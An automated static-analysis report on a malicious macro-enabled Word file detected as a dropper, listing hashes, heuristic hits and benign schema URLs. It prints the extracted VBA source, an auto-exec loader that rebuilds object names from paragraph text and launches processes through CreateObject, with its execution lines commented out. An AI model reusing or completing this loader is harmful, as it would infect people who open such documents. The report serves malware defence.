Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0197cf48c8e31e7e…

MALICIOUS

Office (OOXML)

20.6 KB Created: 2020-12-28 12:14:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-01-11
MD5: 59306acc1eac2637d6171808d716a0fb SHA-1: 8fefca2fa8c684858a6b8b483214dfd09a654331 SHA-256: 0197cf48c8e31e7ee25ae18166a088ba9eb7c5edd50aedc8f90d0fa817c372cd
290 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Sagent-9765455-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Sagent-9765455-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set Ms13 = CreateObject(Button_Click2(4, 22))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set Ms13 = CreateObject(Button_Click2(4, 22))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1662 bytes
SHA-256: 8d773ff230cc9fc6ebbc7b97366a8585bd853ccf2916eab19e35833922deaf8a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Attribute VB_Name = "NewMacros"
#If VBA7 Then
Private Declare PtrSafe Function Sleep Lib "Kernel32" (ByVal One As Long) As Long
#Else
Private Declare Function Sleep Lib "Kernel32" (ByVal One As Long) As Long
#End If

Private Ms13
Private One As String
Private Two As String
Private STP As String

Private Sub Document_Open()
    Form_Malegro
End Sub

Private Sub Form_Close()
    STP = Button_Click2(2, 16) + "Ksh1"
    Set Ms13 = CreateObject(Button_Click2(4, 22))
    One = Button_Click2(8, 16)
    Two = Button_Click2(6, 10)
    MsgBox (STP)
    MsgBox (Button_Click2(4, 22))
    MsgBox (One)
    MsgBox (Two)
    'ActiveDocument.Range(Start:=0, End:=3561).Delete
    'SaveAs3 ("xls"): SaveAs3 ("doc"):
    'SetTask (One + " " + STP + ".xls " + STP + ".pdf"): Sleep 6000: SetTask (Two + " " + STP + ".pdf,In")
End Sub
Private Function Button_Click2(One As Long, Two As Long) As String
    Button_Click2 = Left(ActiveDocument.Paragraphs(One).Range.Text, Two)
End Function
Private Function Button_Click3(One As Long) As String
    Button_Click3 = Right(Range.Text, One)
End Function
Private Function SaveAs3(Formt As String)
    ActiveDocument.SaveAs2 FileName:=STP + "." + Formt, FileFormat:=wdFormatText
End Function
Private Function SetTask(Task As String)
    Ms13.create Task, Null, Null, act
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: d3e47dd21402908566ebaa8fc6d6f3dd43860e9edc9082d44f8bbefd431d0401
Detection
ClamAV: Doc.Dropper.Sagent-9765455-0
Obfuscation or payload: unlikely

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